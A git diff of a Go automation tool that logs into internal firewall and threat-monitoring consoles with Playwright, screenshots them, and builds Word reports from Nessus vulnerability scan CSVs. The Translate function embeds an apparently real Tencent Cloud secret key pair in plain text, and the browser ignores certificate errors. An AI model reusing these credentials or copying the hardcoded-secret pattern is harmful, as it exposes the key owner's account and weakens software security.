if err := page.Locator(`#user_name`).Fill(tool.KeyStr("TpnsnRkoJQdgNfgHnoLzDwIJr8N3+oFVvSbONfzOulY+2ASjZjhP6NdIkD8+tsJrVeyfuNlXtUezKKteVFLYed6T9OTDInwlsmgoS9urJRGIzUbzTY57P+ubQD1/rI526/+/79bImaVo9UyjPKD358Yx90/vFlpwt34B0Jt/FifSRyqp9MoI9dE/GJGoaSDbVuDjBB8/lz6cSPM8ZDYaersKrwePsWlk9Q44jhz9ZXceg/Yfqd15fxmNaTAMHUuMpTehS8yZ+Gl0ts8zCV4V3zIVNG4IqpHNvF53wbpmEePkuaFrR4AqNPdLqkl7/GtgT8tnAVXzno/eNbI6ZhZ3rw==")); err != nil {
|
||||
log.Fatalf("could not fill input: %v", err)
|
||||
}
|
||||
if err := page.Locator(`#password`).Fill(tool.KeyStr("kYDkp5HDFY5iiZWHLr3ha5CqyNrb/Y/UnqmEEzDUS25gYHM6EChiTYbp5/LVWy3Bl+MR6fTtk288+2ouR3q5WifG3RMaFeFpQz4C7mH5QcxW4pBw9ThPkVau6PlO2v+7xGLhlo9X/fJLcp6nyAsCWbx6FrYQcahcRKJ9cmGisadcS2o6CrkNdcgbWNGkmSlRKF5QCzg6w0aItNC4z5qgIHb+XNHTTkolmqbu7z3HBEdHw0gDCMTIioDfoBSynhRWoXtZv8TM2xkBqRkEFmvlmNf5kmU7HyB6w+mm6GoIxmThddTM9i49XWq7dUbXyKQt5Gtyq8fJjBGfS0MwOTBwTg==")); err != nil {
|
||||
log.Fatalf("could not fill input: %v", err)
|
||||
}
|
||||
//登录
|
||||
if err := page.Locator("#login_button").Click(); err != nil {
|
||||
log.Fatalf("could not click button: %v", err)
|
||||
}
|
||||
page.WaitForTimeout(1000)
|
||||
page.Evaluate(`
|
||||
const now = new Date();
|
||||
const year = now.getFullYear();
|
||||
const month = (now.getMonth() + 1).toString().padStart(2, '0');
|
||||
const day = now.getDate().toString().padStart(2, '0');
|
||||
const hours = now.getHours().toString().padStart(2, '0');
|
||||
const minutes = now.getMinutes().toString().padStart(2, '0');
|
||||
const seconds = now.getSeconds().toString().padStart(2, '0');
|
||||
const timestamp = year+"-"+month+"-"+day +" "+ hours+":"+minutes+":"+seconds;
|
||||
const div = document.createElement('div');
|
||||
div.style.position = 'fixed';
|
||||
div.style.bottom = '10px';
|
||||
div.style.right = '10px';
|
||||
div.style.color = 'white';
|
||||
div.style.backgroundColor = 'black';
|
||||
div.style.padding = '5px';
|
||||
div.style.borderRadius = '5px';
|
||||
div.textContent = timestamp;
|
||||
document.body.appendChild(div);
|
||||
`, nil)
|
||||
page.WaitForTimeout(1000)
|
||||
page.Locator(`#leftmenu-body tr[data-recordid="M_ThreatLog"] div.x-grid-cell-inner.x-grid-cell-inner-treecolumn a.x-tree-node-text`).Click()
|
||||
page.WaitForTimeout(2000)
|
||||
page.Locator(`#button-1174-btnEl`).Click()
|
||||
page.WaitForTimeout(1000)
|
||||
page.Locator(`#combobox-1302-bodyEl #combobox-1302-inputEl`).Click()
|
||||
page.WaitForTimeout(1000)
|
||||
page.Locator(`#boundlist-1330-listEl li[title="yunwei"]`).Click()
|
||||
page.WaitForTimeout(500)
|
||||
page.Locator(`#combobox-1303-bodyEl #combobox-1303-inputEl`).Click()
|
||||
page.WaitForTimeout(500)
|
||||
page.Locator(`#boundlist-1335-listEl li[title="Trust"]`).Click()
|
||||
page.WaitForTimeout(500)
|
||||
page.Locator(`#button-1322-btnIconEl`).Click()
|
||||
page.WaitForTimeout(1000)
|
||||
// page.Screenshot(playwright.PageScreenshotOptions{
|
||||
// Path: playwright.String("img/hw_fw1.png"),
|
||||
// FullPage: playwright.Bool(true),
|
||||
// })
|
||||
tool.Jietu("img/zww_fw1.png")
|
||||
page.WaitForTimeout(2000)
|
||||
// 获取页面标题
|
||||
title, err := page.Title()
|
||||
if err != nil {
|
||||
log.Fatalf("could not get title: %v", err)
|
||||
}
|
||||
log.Printf("Page title is: %s\n", title)
|
||||
|
||||
// StartBlocker()
|
||||
page.WaitForTimeout(5000)
|
||||
}
|
129
method/zww_tsgz.go
Normal file
@ -0,0 +1,129 @@
|
||||
package method
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"dt_automate/tool"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
|
||||
"github.com/playwright-community/playwright-go"
|
||||
)
|
||||
|
||||
func ZWW_TSGZ() {
|
||||
// 启动 Playwright
|
||||
pw, err := playwright.Run()
|
||||
if err != nil {
|
||||
log.Fatalf("could not start Playwright: %v", err)
|
||||
}
|
||||
defer pw.Stop()
|
||||
|
||||
// 启动浏览器(Chromium)
|
||||
browser, err := pw.Chromium.Launch(playwright.BrowserTypeLaunchOptions{
|
||||
Headless: playwright.Bool(false), // 设置为 false 以显示浏览器界面
|
||||
Args: []string{
|
||||
"--ignore-certificate-errors", // 忽略证书错误[^28^][^29^]
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatalf("could not launch browser: %v", err)
|
||||
}
|
||||
defer browser.Close()
|
||||
|
||||
// 创建一个新页面
|
||||
page, err := browser.NewPage()
|
||||
if err != nil {
|
||||
log.Fatalf("could not create page: %v", err)
|
||||
}
|
||||
// 设置浏览器窗口大小
|
||||
err = page.SetViewportSize(1920, 1080) // 宽度为 1200px,高度为 800px
|
||||
if err != nil {
|
||||
log.Fatalf("无法设置浏览器窗口大小: %v", err)
|
||||
}
|
||||
|
||||
// 导航到指定网址
|
||||
_, err = page.Goto("https://11.1.65.20")
|
||||
if err != nil {
|
||||
log.Fatalf("could not go to the page: %v", err)
|
||||
}
|
||||
|
||||
// page.WaitForTimeout(2000)
|
||||
// page.Locator(`.verification-item .el-image`).Screenshot(playwright.LocatorScreenshotOptions{
|
||||
// Path: playwright.String("img/capt.png"),
|
||||
// })
|
||||
|
||||
a := page.Locator(`.el-input__inner`)
|
||||
|
||||
// result := wtch_ocr.OcrDefault("img/capt.png")
|
||||
// if len(result.OcrResponse[0].Text) == 4 {
|
||||
// log.Println("读取验证码:", result.OcrResponse[0].Text)
|
||||
// a.Nth(2).Fill(result.OcrResponse[0].Text)
|
||||
// } else {
|
||||
// page.WaitForTimeout(500)
|
||||
// page.Locator(".verification-item .el-image .el-image__inner").Click()
|
||||
// }
|
||||
|
||||
// Screenshot(playwright.PageScreenshotOptions{})
|
||||
// (playwright.PageScreenshotOptions{
|
||||
// Path: playwright.String("img/capg.png"),
|
||||
// FullPage: playwright.Bool(true),
|
||||
// })
|
||||
//输入
|
||||
a.Nth(0).Fill(tool.KeyStr("pA1RJlFFWubvxI242Y2hTg7oOWVxBP3C8SZlcd4aiyoQPEq1ZGQZkVQn1Hams2LEv0sEzEmRjkFxWzpUm/B0fZkGzSJc7iecCODG+MdssNuxEh3ARWQaX+rXq1LWjL4YB5tqev18P35zXkJhZpyhqq3A9hE9T2XWwK8l6BlnxzK4KSlp+3tQ/gNtBosAME+XpYSRavJOl1MDeIVfogcYrHpx5IITLyz3koCkN7N9ban5RcPxT+jfQGYkCUbnAMsZGcbDfbTvxVP9k0huGVsGpnEkVt4G2vLtO96XTUc8/fXCmLHPxcPEjhGPMukXi7avBWiG/yaKjNxzPXmtLeioNA=="))
|
||||
page.WaitForTimeout(500)
|
||||
a.Nth(1).Fill(tool.KeyStr("cWhJA/oHtrWpmTCvy2+IlZD2UoriOFGWfoNobAZ7sZwkQ6fnd0pbxloFRV7mVPkPtEkCg4Z51K5u+4fsgXDVLN/Oo4BeoMFNJj7uz7A3v2ar7lOvYmPbnAT7ZvM109UvP5qGe+GfR+lXTC2H9PxLm+pdqBTySbT2u9DwAnhWIGR1LSbnDCFnoSgKgSoUKqUCsW6VbI32pLPVGrvrI7iFNGlZ3Ac0d/33klby5BcR8q3TYJaQbb+TZ6IjZto6gfiOObR6RwmmIw4kTw/y9iYukECce//OQo0Y5TvL1EIL+fNElwAy/AVvyAGP8ba74gALwS8fh+3WO6+sMv2NaSYRrw=="))
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
fmt.Print("请输入验证码:")
|
||||
input, _ := reader.ReadString('\n')
|
||||
a.Nth(2).Fill(input)
|
||||
page.WaitForTimeout(500)
|
||||
//点击同意
|
||||
if err := page.Locator(`.el-checkbox__inner`).Click(); err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
//登录
|
||||
page.WaitForTimeout(1000)
|
||||
if err := page.Locator(`.el-button.el-button--primary.el-button--large.login-button`).Click(); err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
page.WaitForTimeout(500)
|
||||
_, err = page.Goto("https://11.1.65.20/#/threatCenter/asset", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateCommit, Timeout: playwright.Float(3000)})
|
||||
page.WaitForTimeout(2000)
|
||||
page.Evaluate(`
|
||||
const now = new Date();
|
||||
const year = now.getFullYear();
|
||||
const month = (now.getMonth() + 1).toString().padStart(2, '0');
|
||||
const day = now.getDate().toString().padStart(2, '0');
|
||||
const hours = now.getHours().toString().padStart(2, '0');
|
||||
const minutes = now.getMinutes().toString().padStart(2, '0');
|
||||
const seconds = now.getSeconds().toString().padStart(2, '0');
|
||||
const timestamp = year+"-"+month+"-"+day +" "+ hours+":"+minutes+":"+seconds;
|
||||
const div = document.createElement('div');
|
||||
div.style.position = 'fixed';
|
||||
div.style.bottom = '10px';
|
||||
div.style.right = '10px';
|
||||
div.style.color = 'white';
|
||||
div.style.backgroundColor = 'black';
|
||||
div.style.padding = '5px';
|
||||
div.style.borderRadius = '5px';
|
||||
div.textContent = timestamp;
|
||||
document.body.appendChild(div);
|
||||
`, nil)
|
||||
page.Locator(`.el-range-input`).Nth(0).Click()
|
||||
page.WaitForTimeout(500)
|
||||
page.Locator(`.el-picker-panel__shortcut`).Nth(0).Click()
|
||||
page.WaitForTimeout(300)
|
||||
page.Locator(`.display-inline-flex.align-items-center.justify-content-end.advanced-search-wrapper .el-button.el-button--primary`).Click()
|
||||
page.WaitForTimeout(1000)
|
||||
tool.Jietu("img/zww_tsgz.png")
|
||||
page.WaitForTimeout(2000)
|
||||
// 获取页面标题
|
||||
title, err := page.Title()
|
||||
if err != nil {
|
||||
log.Fatalf("could not get title: %v", err)
|
||||
}
|
||||
log.Printf("Page title is: %s\n", title)
|
||||
|
||||
// StartBlocker()
|
||||
page.WaitForTimeout(5000)
|
||||
}
|
423
nessus/csv_safety.go
Normal file
@ -0,0 +1,423 @@
|
||||
package nessus
|
||||
|
||||
import (
|
||||
"dt_automate/tool"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"github.com/Esword618/unioffice/color"
|
||||
"github.com/Esword618/unioffice/document"
|
||||
"github.com/Esword618/unioffice/measurement"
|
||||
"github.com/Esword618/unioffice/schema/soo/wml"
|
||||
"github.com/gocarina/gocsv"
|
||||
|
||||
"github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common"
|
||||
"github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common/errors"
|
||||
"github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common/profile"
|
||||
tmt "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/tmt/v20180321"
|
||||
)
|
||||
|
||||
// A1,数据
|
||||
func CSV_damo() {
|
||||
//读取docx模板
|
||||
doc, err := document.Open("temp/lousao_temp.docx")
|
||||
if err != nil {
|
||||
log.Panic("打开文件失败", err)
|
||||
}
|
||||
// 读取CSV文件示例
|
||||
file, err := os.OpenFile("temp/zww_to5b2r.csv", os.O_RDWR|os.O_CREATE, os.ModePerm)
|
||||
if err != nil {
|
||||
fmt.Println("打开文件失败:", err)
|
||||
return
|
||||
}
|
||||
log.Println("打开数据模板")
|
||||
defer file.Close()
|
||||
|
||||
// var people []interface{}
|
||||
var people []*Person
|
||||
if err := gocsv.UnmarshalFile(file, &people); err != nil {
|
||||
fmt.Println("读取文件失败:", err)
|
||||
return
|
||||
}
|
||||
log.Println("开始将数据填入报告模板")
|
||||
|
||||
// table := doc.Tables()[3]
|
||||
// var host string
|
||||
// var con int
|
||||
// var tables []document.Table
|
||||
// for _, csvstr := range people {
|
||||
// if csvstr.Host == host {
|
||||
// row := table.AddRow()
|
||||
// row.Properties().SetHeight(22, wml.ST_HeightRuleExact)
|
||||
// // text_s(row.AddCell(), csvstr.Host) //主机IP
|
||||
// text_s(row.AddCell(), Translate(csvstr.Name)) //风险项
|
||||
// if csvstr.Risk == "None" {
|
||||
// text_s(row.AddCell(), "无") //危险程度
|
||||
// } else {
|
||||
// text_s(row.AddCell(), Translate(csvstr.Risk)) //危险程度
|
||||
// }
|
||||
|
||||
// if csvstr.Risk_Factor == "None" {
|
||||
// text_s(row.AddCell(), "无") //危险因素
|
||||
// } else {
|
||||
// text_s(row.AddCell(), Translate(csvstr.Risk_Factor)) //危险因素
|
||||
// }
|
||||
// text_s(row.AddCell(), Translate(csvstr.Synopsisk)) //摘要
|
||||
// text_s(row.AddCell(), Translate(csvstr.Description)) //描述
|
||||
// if csvstr.Solution == "n/a" {
|
||||
// text_s(row.AddCell(), "无") //解决方案
|
||||
// } else {
|
||||
// text_s(row.AddCell(), Translate(csvstr.Solution)) //解决方案
|
||||
// }
|
||||
|
||||
// } else {
|
||||
// con++
|
||||
// doc.Tables()[con] = doc.Tables()[3]
|
||||
// table = doc.Tables()[con]
|
||||
// row := table.AddRow()
|
||||
// row.Properties().SetHeight(22, wml.ST_HeightRuleExact)
|
||||
// // text_s(row.AddCell(), csvstr.Host) //主机IP
|
||||
// text_s(row.AddCell(), Translate(csvstr.Name)) //风险项
|
||||
// if csvstr.Risk == "None" {
|
||||
// text_s(row.AddCell(), "无") //危险程度
|
||||
// } else {
|
||||
// text_s(row.AddCell(), Translate(csvstr.Risk)) //危险程度
|
||||
// }
|
||||
|
||||
// if csvstr.Risk_Factor == "None" {
|
||||
// text_s(row.AddCell(), "无") //危险因素
|
||||
// } else {
|
||||
// text_s(row.AddCell(), Translate(csvstr.Risk_Factor)) //危险因素
|
||||
// }
|
||||
// text_s(row.AddCell(), Translate(csvstr.Synopsisk)) //摘要
|
||||
// text_s(row.AddCell(), Translate(csvstr.Description)) //描述
|
||||
// if csvstr.Solution == "n/a" {
|
||||
// text_s(row.AddCell(), "无") //解决方案
|
||||
// } else {
|
||||
// text_s(row.AddCell(), Translate(csvstr.Solution)) //解决方案
|
||||
// }
|
||||
// }
|
||||
// host = csvstr.Host
|
||||
// }
|
||||
//根据ip创建表格
|
||||
// 定义一个 map 用于记录已经出现过的 IP 地址
|
||||
var ip []string
|
||||
ipMap := make(map[string]bool)
|
||||
for _, csvstr := range people {
|
||||
// 检查当前 IP 是否已经在 map 中
|
||||
if _, exists := ipMap[csvstr.Host]; !exists {
|
||||
// 如果不存在,则将其添加到数组和 map 中
|
||||
ip = append(ip, csvstr.Host)
|
||||
ipMap[csvstr.Host] = true
|
||||
}
|
||||
}
|
||||
log.Println(ip)
|
||||
for _, ip := range ip {
|
||||
//创建一个段落添加IP:
|
||||
// 创建一个段落
|
||||
paragraph := doc.AddParagraph()
|
||||
// 设置段落样式
|
||||
paragraph.Properties().SetStyle("Normal")
|
||||
// 添加文本
|
||||
run := paragraph.AddRun()
|
||||
run.AddText("IP:" + ip)
|
||||
// 创建表格
|
||||
table := doc.AddTable()
|
||||
// 设置表格宽度
|
||||
table.Properties().SetWidthPercent(100)
|
||||
// 设置表格边框
|
||||
borderProps := table.Properties().Borders()
|
||||
borderProps.SetTop(wml.ST_BorderSingle, color.Black, measurement.Point)
|
||||
borderProps.SetBottom(wml.ST_BorderSingle, color.Black, measurement.Point)
|
||||
borderProps.SetLeft(wml.ST_BorderSingle, color.Black, measurement.Point)
|
||||
borderProps.SetRight(wml.ST_BorderSingle, color.Black, measurement.Point)
|
||||
|
||||
// 添加表头
|
||||
headerRow := table.AddRow()
|
||||
headerRow.Properties().SetHeight(22, wml.ST_HeightRuleExact)
|
||||
|
||||
text_s(headerRow.AddCell(), "风险项")
|
||||
text_s(headerRow.AddCell(), "危险程度")
|
||||
text_s(headerRow.AddCell(), "危险因素")
|
||||
text_s(headerRow.AddCell(), "摘要")
|
||||
text_s(headerRow.AddCell(), "描述")
|
||||
text_s(headerRow.AddCell(), "解决方案")
|
||||
// 设置表头单元格的边框(包含内边框)
|
||||
for _, cell := range headerRow.Cells() {
|
||||
borderProps := cell.Properties().Borders()
|
||||
borderProps.SetTop(wml.ST_BorderSingle, color.Black, measurement.Point)
|
||||
borderProps.SetBottom(wml.ST_BorderSingle, color.Black, measurement.Point)
|
||||
borderProps.SetLeft(wml.ST_BorderSingle, color.Black, measurement.Point)
|
||||
borderProps.SetRight(wml.ST_BorderSingle, color.Black, measurement.Point)
|
||||
}
|
||||
// 添加数据行
|
||||
for _, csvstr := range people {
|
||||
if csvstr.Host == ip {
|
||||
row := table.AddRow()
|
||||
row.Properties().SetHeight(22, wml.ST_HeightRuleExact)
|
||||
// text_s(row.AddCell(), csvstr.Host) //主机IP
|
||||
text_s(row.AddCell(), csvstr.Name) //风险项
|
||||
if csvstr.Risk == "None" {
|
||||
text_s(row.AddCell(), "无") //危险程度
|
||||
} else {
|
||||
text_s(row.AddCell(), csvstr.Risk) //危险程度
|
||||
}
|
||||
if csvstr.Risk_Factor == "None" {
|
||||
text_s(row.AddCell(), "无") //危险因素
|
||||
} else {
|
||||
text_s(row.AddCell(), csvstr.Risk_Factor) //危险因素
|
||||
}
|
||||
text_s(row.AddCell(), csvstr.Synopsisk) //摘要
|
||||
text_s(row.AddCell(), csvstr.Description) //描述
|
||||
if csvstr.Solution == "n/a" {
|
||||
text_s(row.AddCell(), "无") //解决方案
|
||||
} else {
|
||||
text_s(row.AddCell(), csvstr.Solution) //解决方案
|
||||
}
|
||||
// 设置单元格的边框(包含内边框)
|
||||
for _, cell := range row.Cells() {
|
||||
borderProps := cell.Properties().Borders()
|
||||
borderProps.SetTop(wml.ST_BorderSingle, color.Black, measurement.Point)
|
||||
borderProps.SetBottom(wml.ST_BorderSingle, color.Black, measurement.Point)
|
||||
borderProps.SetLeft(wml.ST_BorderSingle, color.Black, measurement.Point)
|
||||
borderProps.SetRight(wml.ST_BorderSingle, color.Black, measurement.Point)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//添加一个空行
|
||||
paragraph = doc.AddParagraph()
|
||||
paragraph.Properties().SetStyle("Normal")
|
||||
run = paragraph.AddRun()
|
||||
run.AddBreak()
|
||||
}
|
||||
// for _, csvstr := range people {
|
||||
|
||||
// if csvstr.Host == host {
|
||||
// row := table.AddRow()
|
||||
// row.Properties().SetHeight(22, wml.ST_HeightRuleExact)
|
||||
// // text_s(row.AddCell(), csvstr.Host) //主机IP
|
||||
// text_s(row.AddCell(), csvstr.Name) //风险项
|
||||
// if csvstr.Risk == "None" {
|
||||
// text_s(row.AddCell(), "无") //危险程度
|
||||
// } else {
|
||||
// text_s(row.AddCell(), csvstr.Risk) //危险程度
|
||||
// }
|
||||
|
||||
// if csvstr.Risk_Factor == "None" {
|
||||
// text_s(row.AddCell(), "无") //危险因素
|
||||
// } else {
|
||||
// text_s(row.AddCell(), csvstr.Risk_Factor) //危险因素
|
||||
// }
|
||||
// text_s(row.AddCell(), csvstr.Synopsisk) //摘要
|
||||
// text_s(row.AddCell(), csvstr.Description) //描述
|
||||
// if csvstr.Solution == "n/a" {
|
||||
// text_s(row.AddCell(), "无") //解决方案
|
||||
// } else {
|
||||
// text_s(row.AddCell(), csvstr.Solution) //解决方案
|
||||
// }
|
||||
|
||||
// } else {
|
||||
// con++
|
||||
// tables[con] = doc.Tables()[3]
|
||||
// table = tables[con]
|
||||
// row := table.AddRow()
|
||||
// row.Properties().SetHeight(22, wml.ST_HeightRuleExact)
|
||||
// // text_s(row.AddCell(), csvstr.Host) //主机IP
|
||||
// text_s(row.AddCell(), csvstr.Name) //风险项
|
||||
// if csvstr.Risk == "None" {
|
||||
// text_s(row.AddCell(), "无") //危险程度
|
||||
// } else {
|
||||
// text_s(row.AddCell(), csvstr.Risk) //危险程度
|
||||
// }
|
||||
|
||||
// if csvstr.Risk_Factor == "None" {
|
||||
// text_s(row.AddCell(), "无") //危险因素
|
||||
// } else {
|
||||
// text_s(row.AddCell(), csvstr.Risk_Factor) //危险因素
|
||||
// }
|
||||
// text_s(row.AddCell(), csvstr.Synopsisk) //摘要
|
||||
// text_s(row.AddCell(), csvstr.Description) //描述
|
||||
// if csvstr.Solution == "n/a" {
|
||||
// text_s(row.AddCell(), "无") //解决方案
|
||||
// } else {
|
||||
// text_s(row.AddCell(), csvstr.Solution) //解决方案
|
||||
// }
|
||||
// }
|
||||
// host = csvstr.Host
|
||||
// }
|
||||
// cvs_word()
|
||||
//写入CSV
|
||||
// file, err := os.OpenFile("output.csv", os.O_RDWR|os.O_CREATE, os.ModePerm)
|
||||
// if err != nil {
|
||||
// fmt.Println("创建文件失败:", err)
|
||||
// return
|
||||
// }
|
||||
// defer file.Close()
|
||||
|
||||
// people := []*Person{
|
||||
// {Name: "Alice", Age: 21, Gender: "F"},
|
||||
// {Name: "Bob", Age: 25, Gender: "M"},
|
||||
// }
|
||||
// if err := gocsv.MarshalFile(&people, file); err != nil {
|
||||
// fmt.Println("写入文件失败:", err)
|
||||
// return
|
||||
// }
|
||||
doc.SaveToFile("大同信创云平台漏扫报告" + time.Unix(tool.Timestamp("second"), 0).Format("20060102") + ".docx")
|
||||
}
|
||||
|
||||
// csv表结构体对应字段
|
||||
type Person struct {
|
||||
Plugin_ID string `csv:"Plugin ID"`
|
||||
CVE string `csv:"CVE"`
|
||||
CVSS string `csv:"CVSS"`
|
||||
Risk string `csv:"Risk"`
|
||||
Host string `csv:"Host"`
|
||||
Protocol string `csv:"Protocol"`
|
||||
Port string `csv:"Port"`
|
||||
Name string `csv:"Name"`
|
||||
Synopsisk string `csv:"Synopsis"`
|
||||
Description string `csv:"Description"`
|
||||
Solution string `csv:"Solution"`
|
||||
See_Also string `csv:"See Also"`
|
||||
Plugin_Output string `csv:"Plugin Output"`
|
||||
STIG_Severity string `csv:"STIG Severity"`
|
||||
CVSS_Base_Score string `csv:"CVSS v3.0 Base Score"`
|
||||
CVSS_Temporal_Score string `csv:"CVSS v3.0 Temporal Score"`
|
||||
Risk_Factor string `csv:"Risk Factor"`
|
||||
BID string `csv:"BID"`
|
||||
XREF string `csv:"XREF"`
|
||||
MSKB string `csv:"MSKB"`
|
||||
Plugin_Publication_Date CustomDate `csv:"Plugin Publication Date,layout=2006/01/02"`
|
||||
Plugin_Modification_Date CustomDate `csv:"Plugin Modification Date,layout=2006/01/02"`
|
||||
Metasploit string `csv:"Metasploit"`
|
||||
Core_Impact string `csv:"Core Impact"`
|
||||
CANVAS string `csv:"CANVAS"`
|
||||
}
|
||||
|
||||
// 定义一个自定义日期类型
|
||||
type CustomDate struct {
|
||||
time.Time
|
||||
}
|
||||
|
||||
// 实现TypeUnmarshaller接口,用于将CSV字符串转换为time.Time
|
||||
func (cd *CustomDate) UnmarshalCSV(csv string) error {
|
||||
date, err := time.Parse("2006/01/02", csv)
|
||||
if err != nil {
|
||||
return fmt.Errorf("invalid date format: %s", csv)
|
||||
}
|
||||
cd.Time = date
|
||||
return nil
|
||||
}
|
||||
|
||||
// 批量填入表格内容方法
|
||||
func text_s(cell document.Cell, ss string) {
|
||||
// 设置单元格垂直居中对齐
|
||||
// cell.Properties().SetVerticalAlignment(wml.ST_VerticalJcCenter)
|
||||
//在单元格中添加段落
|
||||
p := cell.AddParagraph().AddRun()
|
||||
p.Properties().SetFontFamily("微软雅黑")
|
||||
p.Properties().SetSize(12)
|
||||
// p.Properties().SetBold(true)
|
||||
p.AddText(ss)
|
||||
}
|
||||
|
||||
func Translate(text string) string {
|
||||
// 实例化一个认证对象,入参需要传入腾讯云账户 SecretId 和 SecretKey,此处还需注意密钥对的保密
|
||||
// 代码泄露可能会导致 SecretId 和 SecretKey 泄露,并威胁账号下所有资源的安全性。以下代码示例仅供参考,建议采用更安全的方式来使用密钥,请参见:https://cloud.tencent.com/document/product/1278/85305
|
||||
// 密钥可前往官网控制台 https://console.cloud.tencent.com/cam/capi 进行获取
|
||||
credential := common.NewCredential(
|
||||
"AKIDgN8k9LNCpGUVJtFNI0UkmbDblhQvCLL8",
|
||||
"d2GI7lFXcWGoNjvtd9SXP4XmnaEgz5ye",
|
||||
)
|
||||
// 实例化一个client选项,可选的,没有特殊需求可以跳过
|
||||
cpf := profile.NewClientProfile()
|
||||
cpf.HttpProfile.Endpoint = "tmt.tencentcloudapi.com"
|
||||
// 实例化要请求产品的client对象,clientProfile是可选的
|
||||
client, _ := tmt.NewClient(credential, "ap-beijing", cpf)
|
||||
|
||||
// 实例化一个请求对象,每个接口都会对应一个request对象
|
||||
request := tmt.NewTextTranslateRequest()
|
||||
|
||||
request.SourceText = common.StringPtr(text)
|
||||
request.Source = common.StringPtr("en")
|
||||
request.Target = common.StringPtr("zh")
|
||||
request.ProjectId = common.Int64Ptr(0)
|
||||
|
||||
// 返回的resp是一个TextTranslateResponse的实例,与请求对象对应
|
||||
response, err := client.TextTranslate(request)
|
||||
if _, ok := err.(*errors.TencentCloudSDKError); ok {
|
||||
fmt.Printf("An API error has returned: %s", err)
|
||||
}
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
// 解析 OutputJSON
|
||||
var outputJSON map[string]interface{}
|
||||
err = json.Unmarshal([]byte(response.ToJsonString()), &outputJSON)
|
||||
if err != nil {
|
||||
log.Fatalf("解析 OutputJSON 失败: %v", err)
|
||||
}
|
||||
return outputJSON["Response"].(map[string]interface{})["TargetText"].(string)
|
||||
}
|
||||
func cvs_word() {
|
||||
doc, err := document.Open("temp/lousao_temp.docx")
|
||||
if err != nil {
|
||||
log.Panic("打开文件失败", err)
|
||||
}
|
||||
// // defer doc.Close()
|
||||
// // 填充模板中的变量
|
||||
// paragraphs := []document.Paragraph{}
|
||||
// for _, p := range doc.Paragraphs() {
|
||||
// paragraphs = append(paragraphs, p)
|
||||
// }
|
||||
// //此示例文档使用了不常见的结构化文档标记
|
||||
// //文档模板中的除外。通常情况下,您只需迭代
|
||||
// //文档的段落。
|
||||
// for _, sdt := range doc.StructuredDocumentTags() {
|
||||
// for _, p := range sdt.Paragraphs() {
|
||||
// paragraphs = append(paragraphs, p)
|
||||
// }
|
||||
// }
|
||||
log.Println("开始生成漏扫报告模板")
|
||||
// for _, p := range paragraphs {
|
||||
// for _, r := range p.Runs() {
|
||||
// if strings.Contains(r.Text(), "{{DATE_A}}") {
|
||||
// Replacetext(r, "{{DATE_A}}", time.Unix(tool.Timestamp("second"), 0).Format("2006年01月02日"))
|
||||
// } else if strings.Contains(r.Text(), "{{HLW_FW_1}}") { //插入互联网防火墙图片
|
||||
// Replaceimg(r, doc, "img/hw_fw1.png")
|
||||
// } else if strings.Contains(r.Text(), "{{HLW_AFC2000_1}}") { //插入互联网流量清洗图片
|
||||
// Replaceimg(r, doc, "img/afc2000_1.png")
|
||||
// } else if strings.Contains(r.Text(), "{{HLW_AFC2000_2}}") { //插入互联网流量清洗图片
|
||||
// Replaceimg(r, doc, "img/afc2000_2.png")
|
||||
// } else if strings.Contains(r.Text(), "{{HLW_TSGZ}}") { //插入互联网态势感知图片
|
||||
// Replaceimg(r, doc, "img/hw_tsgz.png")
|
||||
// } else if strings.Contains(r.Text(), "{{HLW_BLJ}}") { //插入互联网堡垒机图片
|
||||
// Replaceimg(r, doc, "img/hw_baolj.png")
|
||||
// } else if strings.Contains(r.Text(), "{{ZWW_FW_1}}") { //插入政务网防火墙图片
|
||||
// Replaceimg(r, doc, "img/zww_fw1.png")
|
||||
// } else if strings.Contains(r.Text(), "{{ZWW_TSGZ}}") { //插入政务网态势感知图片
|
||||
// Replaceimg(r, doc, "img/zww_tsgz.png")
|
||||
// } else if strings.Contains(r.Text(), "{{ZWW_BLJ}}") { //插入政务网堡垒机图片
|
||||
// Replaceimg(r, doc, "img/zww_baolj.png")
|
||||
// } else {
|
||||
// // log.Println("")
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
// 遍历文档中的表格,替换{{bianliang}} 中的内容
|
||||
table := doc.Tables()[3]
|
||||
row := table.AddRow()
|
||||
row.Properties().SetHeight(22, wml.ST_HeightRuleExact)
|
||||
text_s(row.AddCell(), "192.168.1.1")
|
||||
text_s(row.AddCell(), "高危")
|
||||
|
||||
row = table.AddRow()
|
||||
row.Properties().SetHeight(22, wml.ST_HeightRuleExact)
|
||||
text_s(row.AddCell(), "192.168.1.2")
|
||||
text_s(row.AddCell(), "中危")
|
||||
doc.SaveToFile("大同信创云平台漏扫报告" + time.Unix(tool.Timestamp("second"), 0).Format("20060102") + ".docx")
|
||||
}
|
26
openapi/conn_api.go
Normal file
@ -0,0 +1,26 @@
|
||||
package openapi
|
||||
|
||||
import (
|
||||
"dt_automate/conn"
|
||||
"dt_automate/openapi/sdk"
|
||||
"log"
|
||||
"net/url"
|
||||
)
|
||||
|
||||
func Git_sign() {
|
||||
values := url.Values{}
|
||||
values.Set("pageSize", "10")
|
||||
values.Set("pageNum", "1")
|
||||
values.Set("id", "1933362020262871124")
|
||||
|
||||
parseURL, err := url.Parse("https://openapi.user.zww.dtcloud.com/api/account-tenant/v1/tenant/get")
|
||||
if err != nil {
|
||||
log.Println("err")
|
||||
}
|
||||
parseURL.RawQuery = values.Encode()
|
||||
urlPathWithParams := parseURL.String()
|
||||
log.Println(urlPathWithParams)
|
||||
// 调用sign方法
|
||||
str := conn.DT_GET(urlPathWithParams, sdk.Sign(), nil)
|
||||
log.Println(str)
|
||||
}
|
141
openapi/sdk/params.go
Normal file
@ -0,0 +1,141 @@
|
||||
package sdk
|
||||
|
||||
